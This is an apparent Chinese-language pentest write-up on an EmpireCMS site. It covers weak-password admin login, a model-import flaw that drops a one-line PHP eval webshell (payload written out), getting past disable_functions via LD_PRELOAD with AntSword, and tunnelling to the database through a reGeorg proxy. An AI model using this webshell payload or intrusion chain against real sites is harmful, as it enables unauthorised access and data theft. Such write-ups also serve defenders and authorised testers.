php disable_function限制下渗透思路

0x01 背景

记录,记录。

0x02 帝国CMS后台getshell

帝国的站,直接/e/admin/到默认后台
1
admin/admin123就进去了
弱口令yyds

EmpireCMS漏洞挺多的
version<=7.5在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。

本地先创建一个1.php.mod的文件,内容如下:

1
<?php file_put_contents("conf1.php","<?php @eval(\$_POST[m2]); ?>");?>

在后台导入系统模型
1
表名随便填,选择木马文件,点击马上导入
1
访问木马文件发现没有报错
1
蚁剑连接
1

连上发现不能执行命令,ret=127被disable_function限制了
1
但是可以上传和查看文件。

0x03 利用LD_PRELOAD 环境变量绕过disable_function

原理:
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。
我们通过环境变量 LD_PRELOAD 劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
github脚本:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

蚁剑内置插件也有该绕过disable_functions的方法
1
选择LD_PRELOAD模式并点击开始,成功后蚁剑会在web目录上传一个.antproxy.php文件。
用webshell连接.antproxy.php文件,在这个新shell里面就可以成功执行命令了。
1
1
1

0x04 连接数据库

查看config文件发现数据库连接密码
1

公网探测3306关闭,看来远程是连不了了

可以用eGeorg代理进去连接数据库

上传代理文件
1
开启代理
1
连接数据库
1